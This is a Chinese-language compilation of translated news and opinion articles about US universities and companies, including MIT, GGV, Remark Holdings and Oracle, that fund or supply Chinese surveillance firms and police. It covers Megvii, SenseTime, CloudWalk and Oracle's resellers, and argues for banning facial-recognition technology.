麻省理工学院的 SenseTime 基金得到了被美国商务部列入黑名单的另一家中国监控技术巨头 iFlyTek 大量捐款的支持，而人权观察组织在2017年就表达了对该公司在新疆警方监视计划中收集海量数据的关注。

关于中国监控技术巨头 **iFlyTek**：

- 《中国在西藏构建了强悍的数字隔离墙》
- 《人工智能新冷战—— AI和5G如何变成一场噩梦》

从美国政策的角度来看，使情况更糟的是，与针对维吾尔族种族镇压有关的这些公司的资金已与美国军事机构（如陆军研究实验室和海军研究实验室）的资金集中在一起，用于"具体"的"项目"中。

去年十月份被列入黑名单后，麻省理工学院自称 “正在审查” 其与 SenseTime 的关系，但是，此后没有任何后续行动的报道。

麻省理工学院并不是美国机构与协助针对维吾尔族人口镇压的公司有联系的唯一例子，美国政府机构也在其中参与。

伊利诺伊大学厄巴纳-香槟分校计算机科学系的另一个例子表明，美国一家主要情报机构和中国监视公司 **CloudWalk** 共同筹集了资金 —— 这是一家致力于根据表型"自动检测维吾尔族和藏族人口"的中国科技创业公司。

这些例子说明，美国机构在开发和出口用于压迫维吾尔族人民的强大监视工具方面同谋，这应该引起我们集体的恐惧和愤怒。

但是，如果我们不同时审视美国境内相同技术的部署，这种愤怒是无效的。

许多相同的机构都对面部识别和其他信息技术在我们自己国家内部实现的有组织的系统性压迫负有责任。

国土安全部（DHS）、移民和海关执法局（ICE）、帕兰提尔、和亚马逊合作开发技术，以加强大规模驱逐出境的行为。（CIA是帕兰提尔公司的资助人，也是唯一的客户）

我们自己的政府机构收集了大规模的个人信息（例如车牌）、并收集生物特征信息（例如 指纹、虹膜扫描和面部扫描），以前所未有的速度识别、分类和监视人民。

这些系统使用自动化来加快种族化警察国家的速度和规模，这具有放大受益于此类系统的人的权力、同时又起到了剥夺边缘化群体权利的作用。

从斯诺登（Snowden）曝光的大规模监视、到地方警察的军事化、全国各地政府机构的过失和虐待 —— 导致民权主义者和政策制定者在华盛顿、加利福尼亚、马萨诸塞州和田纳西州通过了严格的地方监视法规，以及国家措施和运动。

- 《警察国家的梦想》
- 《不论政府关闭与否，警察国家都将继续蓬勃发展。还可以怎么办？》
- 《警察如何扼杀我们说实话的权利》

被列入黑名单的中国公司（如果总部设在美国）即使是协助针对移民、黑人活动家、和其他民间活动人士进行监视的情况下，也被视为‘主要创新者’。

亚马逊首席执行官杰夫·贝索斯（Jeff Bezos）最近也不得不承认了面部识别是“经典的军民两用技术”。这应该拉响警报，因为美国军事资金已经与黑名单上从事面部识别的中国公司的资金集中在一起。

但是，仅商务部对该技术本身的规定还远远不够。我们必须停止面部识别技术的研究、开发、采购和部署，因为这些技术令人讨厌，而且国家行为者不适当地使用它们进行监视和征服。

我们必须营造一种环境，在这种环境下，在智力上全社会不宜为面部识别项目做出贡献，在政治上也不应该允许美国政府将有限的财政资源用于这些令人不快的技术。

美国研究资助机构必须放弃面部识别研究，并且必须禁止面部识别技术 —— 即使是美国公司开发的这类技术也一样。〇

China’s Surveillance State is Made-In-the-USA

原文

中国面部识别巨人崛起的背后 - iYouPort

作恶者：谁在帮中国

他们从全球受益；他们引以为荣

「图」

「图」

北京公租房项目不欢迎陌生的面孔。

据国家新闻社新华社报道，为防止非法转租，许多公租房社区都配有面部识别系统，只允许居民和某些运送人员进入。到去年底，该市的59个公租房小区中的每一个都拥有该技术。

人工智能初创公司 Megvii 去年9月在一个未指定的中国城市提到了类似的公租房保障合同，该公司已经申请在香港进行首次公开募股。

这家以面部识别而闻名的中国公司吹捧其与政府的交易，包括监视公租房以遏制转租，以此作为向潜在投资者宣传的卖点。

Megvii 的文件显示了中国在人工智能领域的雄心壮志，以及它们如何影响全球面部识别等监控技术的使用。

该公司是四家专注于面部识别的中国AI初创公司之一，价值超过10亿美元，用硅谷的话说就是独角兽。现在，这些公司正在寻求在公共市场的帮助下向海外扩张。

“这些公司受益于中国政府将监视技术列为国家优先事项的政策，使这些公司成为AI的世界领导者，” 即将出版的《中国技术巨人》和前两本关于中国技术领域的著作的作者 Rebecca Fannin 说。

她说，这种支持导致签订了更多的合同并获得了更多来自政府和私人的资金。“现在人们开始看到这些公司走向全球。”

- 见报告《"图解中国科技巨头—半壁“高堡奇人”"》

由美国政府支持的非营利组织自由之家在去年10月的一份报告中警告说，中国的监视交易也可以输出该国对隐私的态度，并可能鼓励公司和政府更多收集和暴露敏感数据。

Megvii 的文件说，它已经筹集了超过**13**亿美元的资金，主要来自中国投资基金和包括电子商务巨头阿里巴巴在内的公司。中国的一家国有风投基金也有股份，并在这家初创公司的董事会中占有一席之地。

⚠请注意，其他支持者包括美国风险投资公司**GGV**、以及阿布扎比和科威特的主权财富基金。

CB Insights 表示，该公司今年初的估值为40亿美元。据路透社报道，其公开上市将筹集至少5亿美元，但该数字已从该公司的备案文件中删除。

Fannin 表示，规模更大的竞争对手 SenseTime（估值为45亿美元，并且也在向海外扩展），预计将很快上市。美国投资高通和银湖资本可以帮助其实现国际野心。

- 关于 SenseTime在这里看到《中国的反乌托邦监视国家是美国制造的》

对 Megvii 的计算机视觉系统的需求正在迅速增长。

该公司报告2018年收入为人民币14亿元（合2亿美元），是去年同期的四倍多。该公司亏损34亿元人民币（4.69亿美元）。

该公司业务中的 “城市物联网” 部分提供监视和维稳系统，例如公租房访问控制，占其收入的近四分之三，而且，⚠在中国以外的15个“国家和地区”拥有客户。

该项业务还提供可以发现交通违法行为或捕获交通流视频的软件。

Megvii 说，在今年的前六个月中，其收入的**4.9**%来自中国境外，而去年全年则为**2.7**%。

现在，该公司计划在日本、新加坡、泰国和中东建立合资企业或办事处。

Megvii 由尹琦和来自北京清华大学的两个朋友于2011年创立。该公司的名称是 “mega vision”的缩写，也是其中文名称“旷视”的粗略翻译。由于2012年出现了一种名为“深度学习”的技术，该公司发展的时

机正好赶上了人们对AI的兴趣。

从那时起，Megvii 和竞争对手AI独角兽 SenseTime、CloudWalk 和 Yitu 在中国已经成为人脸识别技术的垄断者，为警察在公共场所扫描嫌疑人、市民在商店刷脸付款等所有项目提供技术。

最近，中国的初创企业以及一些来自俄罗斯的初创企业已经在美国国家标准技术研究院的人脸识别准确性排名中名列前茅。

- 《"技术超级碗CES正在帮助中国监视公司清理形象"》
- 《遮住一半脸没有用：“面部识别”升级版诞生》

Megvii 的早期成功之一是在2015年，当时阿里巴巴子公司蚂蚁金服使用其技术推出了名为“微笑付款”的功能。

Megvii 现在为中国的政府监控项目提供面部识别，并为银行和智能手机制造商提供面部认证，包括 **Oppo**，Counterpoint Research 称 Oppo 是全球出货量排名第五的手机制造商。

Megvii 的研究人员经常赢得有关计算机视觉算法的学术竞赛，并击败了 Google 和 Microsoft 的竞争对手。

面部识别是 Megvii 最闻名的且提供最长的技术，而基于AI的安全性和监视功能似乎是该公司的主要业务。

中国的警察使用面部识别技术从音乐会人群中查找感兴趣的人，甚至使用可穿戴式 Google Glass 风格的设备，使警察可以扫描正在看到的任何人的脸。

- 这种可穿戴式设备有什么问题《一个愚蠢带来的启示》
- 《身体相机适得其反吗？中国正在开始流行这种东西》

该技术是为监视中国西北部新疆地区而设计的戒备森严监视系统的一部分，据估计，该地区已将100万维吾尔族穆斯林扫入拘留营。

《纽约时报》 去年4月报道称，Megvii、SenseTime 和 CloudWalk 已帮助创建了针对维吾尔居民的人脸识别监视软件。

Megvii 的文件提到警察使用其技术，但没有提及新疆监视或试图检测种族的算法。它提供了一些案例研究，只为使其监视产品听起来更加可爱。

其中一个案例描述了2018年的一起事件，中国北方的警察使用 Megvii 的技术来识别一位忘记了自己姓名和住址的老人，然后护送他回家。该文件还提到了 Megvii 的专利技术，该技术可通过狗的鼻子识别出狗，北京当局将其用于管理流浪狗。

尽管这家初创公司在西雅图郊区也设有微软的研究实验室，但美国当局不太可能从 Megvii 手中购买技术。Megvii 的文件警告说，特朗普政府对中国的关税或因怀疑电信公司华为而产生的连锁反应会损害这一利益。

Fannin 说，该公司在亚洲、南美、中东和非洲的其他地区将拥有更轻松的发展。所有这些地区都已成为中国科技公司的重要市场，其中包括全球最大的监视摄像机供应商海康威视。

Megvii 监视技术已在泰国使用，其竞争对手也开始在中国以外地区获得成功。

Yitu 为马来西亚的警察提供面部识别，CloudWalk 赢得了通过中国国际基础设施一带一路计划为津巴布韦构建国家面部识别系统的合同。

- 在这里看到专栏 “作恶者：中国在帮谁”

Megvii 的文件包括该公司的AI道德操守准则，并说客户合同禁止使用其技术侵犯人权。Megvii 还列出了一个AI伦理委员会，向其董事会报告，包括公司高管以及一些外部人士。

名单中的一位成员，法国施耐德电气首席创新官 Emmanuel Lagarrigue 将该委员会描述为 “正在进行中的工作”。他说，其成员身份尚未确定，但 Megvii “值得称赞”。Lagarrigue 说：“这表明该公司愿意在其想要如何运作以及如何部署其技术方面采取积极主动和透明的态度。”

在牛津的人类未来研究所研究中国AI发展的 Jeffrey Ding 表示，从表面上看，Megvii 的道德结构似乎强于某些美国大公司。虽然谷歌和微软也发布了关于AI原则的声明，但是它们仅通过内部审核流程来实现。

但是，中国公司并不能完全控制自己的命运。Ding 说：“经济方面是一个相对自由的市场，但政党和国家可以随时完全控制任何一家公司。来自中国公司的道德义务的分量因此而下降”。〇

Behind the Rise of China’s Facial-Recognition Giants

原文

为什么这家美国公司努力帮助中国的监控社会？ - iYouPort

作恶者：谁在帮中国

“中国是 **Remark** 人工智能项目的重点……他们的一家子公司建造了供警察使用的技术，该技术分析监控视频”

在距离拉斯维加斯大道一英里的一个不起眼的办公大楼里，两个女人在一个没有窗户的房间里劳作。这里每个房间都有各种尺寸、款式和色调的比基尼。这是一家在线泳装店 Bikini.com的库房。而在大厅里，同事们正在努力打入中国炙手可热的人工智能监控技术市场。

Bikini.com由 Remark Holdings 拥有，**Remark Holdings** 是一家小型上市公司，由好莱坞制片人 **Brett Ratner** 担任董事会成员，并与 Dr. Mehmet Oz 建立了金融联系。Remark 的领导者正试图将无利可图、负债累累的网站运营商转变为亚洲（尤其是中国）的企业 AI 技术提供商。Remark 的业务和股价正在挣扎，但其独特的人工智能项目却取得了一些进展。

今年3月，Remark 表示已经与一家泰国企业集团达成了协议，该企业在泰国经营着超过 10,000 家 7-Eleven 连锁店，以及许多其他公司。根据为 CP 集团董事长 Soopakij Chearavanont 提供建议的执行官 Athikom Asvanund 表示，Charoen Pokphand 集团希望能够识别客户在忠诚度计划以及防止商店扒手方面的表现。Chearavanont 在一份声明中表示，**Remark** 的技术还可以帮助中国保险巨头平安保险，其任务包括处理索赔。

中国是 **Remark** 人工智能项目的重点。该公司在中国拥有多家子公司，中国的工程师便宜，而且每周工作六天。在中国第五大城市杭州，他们的一家子公司建造了供警察使用的技术，该技术分析监控视频，以识别在被禁止的街道上行驶的摩托车。

Remark 还帮助中国超市集团通过面部识别软件识别常客。**Remark** 首席执行官 **Shing Tao**，一位纽约本地人表示，他的公司正在利用这

项技术为工人提供时钟，用于采取两班倒的中国建筑工地，并且他还正在寻求将该技术的使用出售给中国警察，帮他们“追踪逃犯”。

Remark 正试图利用中国基于维稳和商业目的的强烈监视需求。去年发布的一项国家战略宣布，该国将于 2020 年在人工智能方面超过美国。中国快速采用面部识别技术意味着你的脸现在可以从 ATM 提取现金、或者被当地警察在上万人的音乐会中精确瞄准。Tao 表示，中国对技术的开放性和对隐私的宽松态度使其成为 **Remark** 的合理目标：“中国是低垂的果实”，他说，“中国人真的理解并接受人工智能，他们已经准备好了。”

与处于人工智能研究前沿的美国大型科技公司相比，Remark 可以说微不足道; 它的 AI 推动力量很小。Remark 去年报告的收入为 7000 万美元，主要来自其旅游业务; 这比谷歌平均一天的收入还少。Remark 的首席技术官 Jason Wei 表示，他在中国的开发人员非常依赖 Google 和学术界发布的开源工具，并且通过从中国和美国的社交媒体网站（包括 **Facebook**）中删除的照片来磨练他们的面部识别软件。

这并不是世界级人工智能技术的完美配方。Remark 的人工智能产品并没有收到 Tao 告诉投资者的收入数字，而且该公司的股价今年下跌了 70%。美国的制裁和中国蓬勃发展的国内人工智能提供商生态系统也给 Remark 在该国建立业务的努力带来了挑战。当被问及 Remark 时，领先的面部识别创业公司 Yitu Technology 的首席创新官称从未听说过该公司或其中国品牌。

- 延伸阅读：关于中国的监视技术公司 Yitu《数字威权主义的兴起: 灾年之畔》

尽管如此，小型网站运营商正在构建人工智能产品的概念表明，在开源软件的帮助下，图像识别等领域的进步有多快。

四年前，对于一家没有技术创新的小公司来说，创造一个能够识别摩托车等物体的工具是不可信的。Palo Alto 视频识别创业公司 Matroid 的创始人 Reza Zadeh 说，现在，即便是没有机器学习经验的开发人员也可以在四个月内拼凑出一个能够相当好地检测出一些常见物体的系统。这样的软件对于客户来说并不容易使用，也难以与 Matroid 等更复杂的产品竞争，但它可能足以赢得交易。“这就是你能看到的缺乏经验的初创公司试图兜售的东西，” Zadeh 说，

像 Remark 这样的小型企业是可能会更自由地采用人工智能技术的地

方。谷歌和微软都在中国设有人工智能研究实验室，但他们由于与美国情报机构的密切联系而无法参与竞标给中国警察部门的面部识别技术合同。当被问及 Tao 是否对与中国当局的合作感觉不妥时，他说，他只是想帮助客户“更有效地运营”，无论他们是零售商还是当地的执法官员。“我们没有违反规定”，他补充道。

事情怎么样了？

Remark 并非始于科技公司。它创建于 2006 年，作为 Discovery Communications 的一个名为 How Stuff Works International（或 HSWI）的衍生产品，用于推广新兴市场流行的解释网站版本。当这项业务被证明不如预期那般有利可图时，HSWI 于 2009 年共同创办了一个名为 ShareCare 的在线健康网站，包括 WebMD 创始人，Oz 博士和 Oprah Winfrey 的制作公司在内的合作伙伴。Remark 仍然拥有5%。2011 年，HSWI 更名为 Remark Media，并开始进行更广泛的扩张，收购 Bikini.com 以及后来提供酒店和演出预订的 Vegas.com。

这些收购增加了 Remark 的收入，但 Tao 担心媒体和电子商务受到成长型科技公司的威胁。在 Remark 董事会工作了一段时间后，他于 2012 年被任命为首席执行官。此前，他曾在台湾科技公司的交易中担任投资者，并担任花花公子企业董事会成员。“很明显，我们需要拥有某种类型的技术，某种类型的优势，需要没有人可以与我们竞争，” Tao 先生回忆说。

Tao 转向现任首席技术官的 Wei，以评估具有最小技术专长的公司可能开发出何种技术。Wei 先生被引进来改善 Bikini.com的出版系统，但此前他曾在东芝工作，并创立了一家虚拟世界创业公司。

Wei 为 Tao 的狗制作了一款可穿戴式摄像机、以及一种防止开车发短信的装置。两者似乎都没有什么前景，工程成本也在增加。Wei 估计他的探险活动在两个月内就烧掉了超过10万美元。“我们决定，好吧，也许我们应该尝试去中国，因为在中国的成都，这笔钱可能会维持一年，”他说。

在成都，Wei 组织了软件工程师队伍，为营销人员建立了社交媒体分析服务。该软件避开了通过社交网络实施抓取的障碍，并收集了来自新浪微博和 **Facebook** 等社交媒体网络的公共更新和照片。目标是识别属于同一个人的帐户，并按内容主题和地理位置对其进行索引。

该项目使得 Remark 在硅谷启动了 AI 技术。Wei 研究了一种被称为

深度学习的技术能够使计算机更好地分类图像。他借用谷歌等公司和领先学者的想法和开源代码。他描述了牛津大学教授 Andrew Zisserman，他也与 Alphabet 合作，作为他的团队的“英雄”，发布可以识别照片中物体和面孔的即用型深度学习模型。

Remark 以 KanKan 品牌推出其社交媒体分析服务，能以普通话观看和探索。据 Tao 说，其客户包括阿斯顿马丁在中国的广告代理商。他还将公司名称改为 Remark Holdings，并开始向亚洲的公司和公共机构推销其图像处理软件。“我们建立了强大的数据基础，在此期间，人工智能的成本一直在下降，” Tao 说。

跟踪面孔

在 Remark 位于拉斯维加斯的办事处，Wei 热切地将视频会议系统的馈送连接到他们团队的软件。在一种模式中，该软件在房间内的每个面孔周围绘制框，随着人的移动而移动；在另一个模式中，它追踪人的肢体运动，并能够正确地说出 **WIRED** 记者戴着眼镜，年龄在**30**到**40**岁之间。

Wei 说他的团队的另一部分软件可以确定几十种面部表情，尽管许多面部表情的精确度很低。“微笑、哭泣、愤怒、紧张等基本问题，对于零售商店来说，想要确定他们的客户是否满意、或者员工是否正在做正确的工作，是非常有用的，”他说。

- 延伸阅读：全球的老板都在热衷于监视员工，对比中国和美国《你正在为一个贴身老大哥努力工作：地狱的新常态》

Wei 还在一家繁忙的餐厅厨房里安装了这种监视，装在六名忙碌的工人的头顶上方。监视器跟踪两名不戴口罩的工人的脸。他说，该软件的开发是为了竞标中国上海的一个试点项目—— 与来自中国国有媒体的报告中所描述的类似—— 当局在餐厅厨房安装摄像头，自动提醒市检查员哪里违反了“食品安全规定”。

在附近的一间会议室里，Wei 展示了这个黑色金属外壳、其中包括图形芯片的来自制造商 Nvidia 的计算板，其强大的芯片已成为主要人工智能项目的核心，还有臭名昭著的海康威视的监视摄像头，海康威视是中国政府部分拥有的领先视频监控公司。

- 延伸阅读：海康威视如何作恶的？《"是谁在为中国政府的监视社会系统提供技术支持？"》
- 中国的老大哥如何扩散全球？《"数字威权主义的兴起: 灾年之

畔"》
- 美国精英为什么要维护中国的老大哥“海康威视”的利益？《"可怜正义没有钱"》

Wei 说，Remark 将其软件安装在计算机上，然后连接到摄像机。他描述了对 Remark 面部识别技术的测试，其中它正确地发现了在拉斯维加斯大道上与一大群人混在一起的工作人员。

但是所有这项技术都没有像 Tao 所预测的那样迅速提升 Remark 的财务状况。3月份，他告诉投资者，KanKan 将在 2018 年贡献 5000 万美元的收入。根据公司提交的文件显示，今年前六个月，Remark 的技术业务收入仅为 460 万美元。

“这是一个不可能的故事，”总部位于中国北京的金融研究公司 J Capital Research 的联合创始人 Anne Stevenson-Yang 说，她今年发表了关于 Remark AI 梦想的两篇尖锐的研究报告。她在报告中描述了未能确认 Remark 声称的与中资银行签订的合同。她的结论是：该公司的技术极小且极度夸大其词。“只是为了股票，这就是全部，”她补充道。J Capital 的 Remark 报告网页指出，该公司的客户可能正在抛售 Remark 的股票。

Tao 说，Remark 的 AI 收入没有达到他的预期，因为合同的完成时间比预期的要长，中国政府对银行的审查越来越多。他去年告诉投资者，中国上海餐馆系统的目标是 2000 家餐厅[安装监视系统]，价值“七位数”，但现在已经被市政官员推迟了。

Tao 向 WIRED 展示了 Remark 与超市运营商北京华联之间的谅解备忘录，该备忘录旨在通过面部识别技术跟踪购物者。其他合同显示，Remark 的子公司承诺向在上海市静安区工作的上海公司和杭州警方使用的摩托车检测系统提供监视技术。Tao 说，监视器涵盖十几个十字路口，并自动标记违规车辆的图像。

他抨击 J Capital 的报道，称他的商业伙伴不应该向爱管闲事的分析师透露所有内容，称报告误导投资者的指责没有意义。“我们没有理由把我们的核心业务置于风险之中啊？” Tao 说。

上周，在一年一度的乌镇“世界互联网大会”上，面部识别是一个热门话题。中国政府利用这一事件来展示其数字创新的图景—— 在精心定义的政治语话范围内。

去年，苹果首席执行官蒂姆库克和谷歌首席执行官桑达皮采都在中国

乌镇做出了主题演讲。今年，在特朗普所谓的贸易战的阴影下，出席乌镇的美国高级首席执行官是高通公司的 Steve Mollenkopf。

当然，Remark 也出席了，在展览会上摆了一个摊位。周四，该公司在推特上发布了一张 Tao 的照片，显示在乌镇的舞台上展示 KanKan 的 AI 平台。Tao 说："人工智能正在改变世界，中国正在引领世界采用这项技术"。

原文

从大规模监控到种族压迫、从拦截上访到广电总局：美国巨头如何壮大了中国的反乌托邦维稳系统 - iyouport

作恶者：谁在帮中国

甲骨文绝不是唯一的，几十年来，美国巨头公司一直在这样为中国警察和军方服务

中国的：

- 金盾工程
- 对维族人的压制
- 全国大规模监控
- 网格化管理
- 高压维稳
- “智能城市” 反乌托邦地狱
- 拦截上访
- 实时监控任何抗议活动和聚会
- 大数据 “智能警务” 一键式
- 自动车牌识别
- 对车内的司机进行面部识别
- 存储多年的高清监视视频
- 监视数十亿的社交媒体图片 ……
- 国税局
- 警察
- 城管
- 公安
- 人民武警
- 各级政府部门
- 臭名昭著的广电总局
- 国家体育总局
- 社保部门 ……

以上这些东西的共同点是什么？—— 答案是：他们使用的都是美国巨

头提供的技术，几十年来。

今年初我们已经发布了这篇文章的背景，见《10年，美国巨头帮助中国构建的反乌托邦地狱》，其中已经提醒了，这些泄露文件横跨10年，说明美国巨头对中国警察和军队的服务*至少*10年，而不是“只有”10年 —— 事实上是20年，甚至更多。

请注意，并非甲骨文一家美国巨头在这样做，这是2019年的报告《硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重》，以及《谷歌和IBM如何帮助中国建立大规模监视系统》，而当时正是特朗普对中国“贸易战”的同期。您可以在我们的列表-4“作恶者：谁在帮中国”中看到详细内容。

那么，他们是如何做到的？

为此次活动印制的标语上写着：“建立新型的战略伙伴关系”。两家公司的logo的艺术剪影装饰了整个舞台；巨大的蛋糕上的糖霜卷成了一个红色的“20”，以庆祝甲骨文和其最重要的中国代理商之一之间二十年的合作。

这是2018年的背景，当时甲骨文高管与中国的神州数码的管理层齐聚一堂，神州数码是一家位于北京的分销代理商，被外国科技公司做为踏板用来进入中国市场。

根据神州数码网站上的描述，甲骨文公司高级副总裁兼中国区总经理李翰璋(Roger Li)发表了讲话，赞扬了两家公司之间深入和持续的合作。他的团队与北京神州数码的代表合影留念，包括一个精心设计的镜头 —— 他们一起将手放在一把蛋糕刀上。甲骨文和中国的神州数码的员工庆祝合作20周年。神州数码已经帮助中国当局建立了恐怖的监视国家。照片来自神州数码网站

这次活动表明，以数据库著称的美国巨头跨国公司甲骨文公司与其长期的中国合作伙伴之间的关系正在加深。不久之后，甲骨文公司将神州数码评为全球“年度最佳合作伙伴”。在深圳举行的2019年甲骨文软件开发者大会上，神州数码的首席技术官获得了一个主题演讲的机会。而神州数码的董事会包括一名前甲骨文中国区副总裁。

但甲骨文与中国经纪人之间的关系存在很大的问题。甲骨文宣称“维护和尊重所有人的人权”，并表示其合作伙伴应该与甲骨文本身“有相同的使命和愿景”；其联合创始人拉里·埃里森(Larry Ellison)曾批评竞争对手谷歌“进入中国，为中国政府监控其人民提供便利”。但是北京

的神州数码及其子公司网络是用于建立中国监控国家的技术的重要传播者。在该公司的产品中，有为中国警察和国防实体提供的服务——正如甲骨文自己的网站上所宣传的那样。

如果您错过了《为什么说 *Google* 搜索能否成功回归中国市场根本不重要？》

如本文最初的那篇文章中的披露，甲骨文公司的员工一直在向中国警方、甚至与军方有联系的客户推销该公司的大数据分析软件，而且并非只有中国 —— 巴西、墨西哥、巴基斯坦、阿联酋这些众所周知的专制国家的警察和准军事部队也都在使用甲骨文的大数据产品。在甲骨文网站上发现的文件表明，至少有两个中国省级警察局使用该软件来分析监控数据。当时甲骨文的公关 Jessica Moore 否认实际合作。

但是，一位前甲骨文高级主管反驳了这种公关说辞。在旧金山举行的2017年甲骨文开放世界大会上，他介绍了中国一个未提及名字的省级警察局的一个监控项目。他告诉记者，该中国警察部门曾使用过甲骨文的软件。

甚至 Moore 自己也留下了一种可能性，即 经纪人可能将用甲骨文技术构建的大数据分析软件出售给警察部门。她说："第三方或系统集成商可以在我们的技术基础上开发产品"，尽管她声称这种可能性非常小。

现在，The Intercept 已经解开了这个代理商网络—— 并发现美国巨头甲骨文公司与向中国政府出售监控技术的经纪人之间有着深厚而长期的关系。

除神州数码外，甲骨文的网站还将中国电子信息产业集团（CEC）的一家子公司列为合作伙伴，该公司是一家国有企业集团，去年因其军事关系被美国国防部列入名单。该子公司长城计算机软件与系统公司的网站描述了与中国公安部和省级公安部门的广泛合作。该公司的网站说，该公司帮助开展了所谓的 "反恐" 工作（这一术语通常用于指对新疆穆斯林少数民族的镇压）。据中国国家通讯社新华社报道，长城公司还参与了一个涉及使用甲骨文数据库的边境管制和大规模监视的系统。

关于中国边境的一个小视角《中国迫使游客安装监视恶意软件》；关于所谓的 "反恐"《"反恐"如何变成了人权灾难？》；《可怕的"连点成线" 和互联网审查—— 监视之恶（四）"反恐"歧途》；《从冷战到反恐战争：专制 "解决方案" 带来的危害往往大于其表面上旨在应对

的威胁》；《新的国内反恐战争即将来临，问题是，它会遇到多少反对》

另一家中国经销商 Sinobest 在甲骨文的云市场上宣传一种“警察综合信息系统”，该系统在美国公司的技术上运行。

Sinobest 将该应用描述为适用于“打击、预防、管理、控制”社会，这是一种维稳高压的和数据驱动的警务形式。科隆大学研究中国警务的法律学者丹尼尔-斯普利克（Daniel Sprick）说：“这意味着该技术被用来撒下一张非常广泛的大网，不仅包括所谓的犯罪活动，还包括当局不喜欢的所有其他行为或条件”。

还有一个合作伙伴是中国的“人大金仓”（Kingbase），在甲骨文网站的一个专题页面上被描述为拥有用于“国防战争工业”的产品 —— 军工综合体。

第五家公司，即 新疆惠文网络信息技术有限公司，与新疆生产建设兵团广泛合作，该公司经营着许多用于系统性迫害穆斯林维吾尔族和其他少数民族的拘留营。甲骨文公司此前告诉 The Intercept，它向负责监督该地区治安的新疆公安局出售这些技术，直到2019年。那一年，该机构被美国商务部列入名单。

甲骨文的公关 Moore 告诉 The Intercept，尽管“人大金仓”和 Sinobest在甲骨文的网站上有网页，但它们并不是目前的甲骨文合作伙伴。她说，甲骨文公司确实与中国电子信息产业集团（CEC）的子公司长城公司合作，但根据美国国防部的条款，这种关系是允许的。她补充说，甲骨文公司没有涉及长城公司的警察或军事交易记录，但该经纪人曾代表甲骨文公司与中国国家税务总局开展业务。

Moore 说，新疆惠文的确是一个合作伙伴，直到本月初其会员资格到期，甲骨文公司现在正在审查该公司的合作伙伴资格。

神州数码没有回应评论请求，多次致电时也无人接听。长城公司、“人大金仓”公司、和 Sinobest 都没有回应通过电子邮件发送的问题和通过网站提交的问题。一位接听新疆惠文电话的人称，该代理商没有员工回答媒体的询问。该公司在2020年6月的一份招聘信息中将甲骨文描述为合作伙伴。

在美国科技公司中，甲骨文绝不是唯一一个依赖经销商进入中国的美国巨头公司。几十年来，这些美国科技巨头一直在利用经销商为中国企业和政府官员提供所需的资源。

在过去八年里，第三方机构变得更加重要。2013年，美国国安局吹哨人爱德华·斯诺登披露，美国巨头科技公司一直在协助美国国安局进行间谍活动，这在中国政府内部敲响了警钟，引发了一场清除中国政府供应链中的外国技术—— 或至少是外国直接控制的技术—— 的争夺战。

为了坚持市场准入，西方公司向经纪人靠拢。甲骨文公司则允许神州数码的一个子公司将其强大的服务器硬件 “本地化”—— 该硬件是为甲骨文数据库量身定做的 —— 于是结果就显示为由该中国子公司生产的机器。这台服务器最近被卖给了北京警方，作为一个基于云的大规模监控项目的一部分。

甲骨文公司与经纪人的合作说明了西方公司在推动中国的监控方面所扮演的角色—— 《中国的反乌托邦监视国家是美国制造的》。参加2019年上海国际消费电子展的与会者将参观 “神州数码” 的展览会。

像神州数码这样的经纪公司往往与多家外国公司合作—— 神州数码的合作伙伴还包括亚马逊网络服务、**IBM**和微软（在初步搜索中，无法在其他外国公司的网站上找到神州数码列出的与政策有关的技术产品）。

甲骨文公司副总裁 Ken Glueck 认为，甲骨文公司在中国和其他地方的做法 “都符合法律规定”。他在接受 The Intercept 的电话采访时说：“我们超越了人们对出口管制条例的预期。我们对合作伙伴进行审查，而且我们在全球范围内都有终止合作伙伴关系的记录，只要我们认为这种关系存在一些违规行为。”

但是，出口管制法有明显的漏洞，特别是在涉及到新兴监控技术时。担心中国和其他地方的警察使用美国技术的人权倡导者呼吁彻底改革美国的出口管制制度。

在这里看到报告《国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？》

同时，Moore 淡化了甲骨文影响合作伙伴的能力。她在3月份说：“我们毫不怀疑，所有的中国合作伙伴都会开展令人反感的业务”，她补充说，甲骨文只能控制涉及其工作的交易。在另一封电子邮件中，她写道：“这些都是公平的关系，在实践中以及根据合同，几乎总是比在公开的营销网站上所表示的要有限得多。”

但是在甲骨文中国公司与神州数码的周年纪念活动上，据报道，董事

总经理李翰璋描述的不是一种公平的关系，而是 “携手前进”—— 蛋糕刀上重叠的手强调了这种评论。

代理商的崛起

「图」

长期以来，在中国经营的外国技术公司一直面临着一个两难境地：为了获得市场准入，他们必须要放弃一些东西。在某些情况下，这个东西就是他们的技术—— 通过与中国公司和当地研发中心建立合资企业而泄露出去；在其他情况下，需要放弃的是他们的既定价值观。而且往往两者要同时放弃。

甲骨文公司很早就进入中国了—— 1986年，根据其网站上的介绍，到2008年，甲骨文在中国有四个研发中心。据报道，那是甲骨文的联合创始人埃里森亲自在北京选址的。该公司在2013年建立了第五个中心，并在2019年关闭了其北京的中心。甲骨文公司不愿透露其他中心有多少仍然开放。

到21世纪初，甲骨文在中国取得了重大进展。当时中国政府正在推动对关键技术的本地控制，但是当时还没有高质量的中国制造可以替代甲骨文的先锋数据库软件。同时，建立数据基础设施的中国地方官员被品牌名称所迷惑，而甲骨文的名字就是用于处理大量信息的关系型数据库的黄金标准。

结果，中国政府甚至在敏感领域也使用了甲骨文的技术。根据甲骨文公司网站上的介绍，其技术为大规模互联网监控项目 “金盾工程” 提供了动力，同时也为中国的网格化管理系统提供了试点，这是一个邻里之间的群众斗群众社会控制网络。

在这里看到，关于网格化管理《泄露：中国庞大的警察数据库》 关于 “金盾工程”《西方如何养肥了华为又”成就了”种族灭绝监视综合体？》

加拿大西蒙菲莎大学(Simon Fraser University)研究新疆警务的人类学家达伦·贝勒(Darren Byler)说：“在帮助中国公安局识别没有适当登记的维吾尔人并强迫他们返回新疆方面，甲骨文发挥了重要作用，许多人被拘留在那里”。

后来的一份甲骨文文件称，甲骨文服务器被中国人民武警使用，这是一支专注于国内维稳的中国准军事部队。当被问及甲骨文文件声称与

军事实体有业务往来时，甲骨文发言人 Moore 说："我们否认任何非法或未经授权的军事工作的交易，这与原始交易时的出口法律和法规一致，并适用于任何正在提供的产品支持。"

2012年，公司总裁马克·赫德（Mark Hurd）在一次电话会议上告诉投资者，甲骨文正在"加强"其在亚洲的业务。然后，斯诺登的文件使甲骨文的中国工作陷入困境。在香港的一家酒店，斯诺登帮助披露了美国国家安全局已经获得了对苹果、Facebook、谷歌和其他公司系统的访问权。这一消息让中国政府官员感到震惊，他们担心对美国技术的依赖使中国容易受到美国间谍活动的影响。

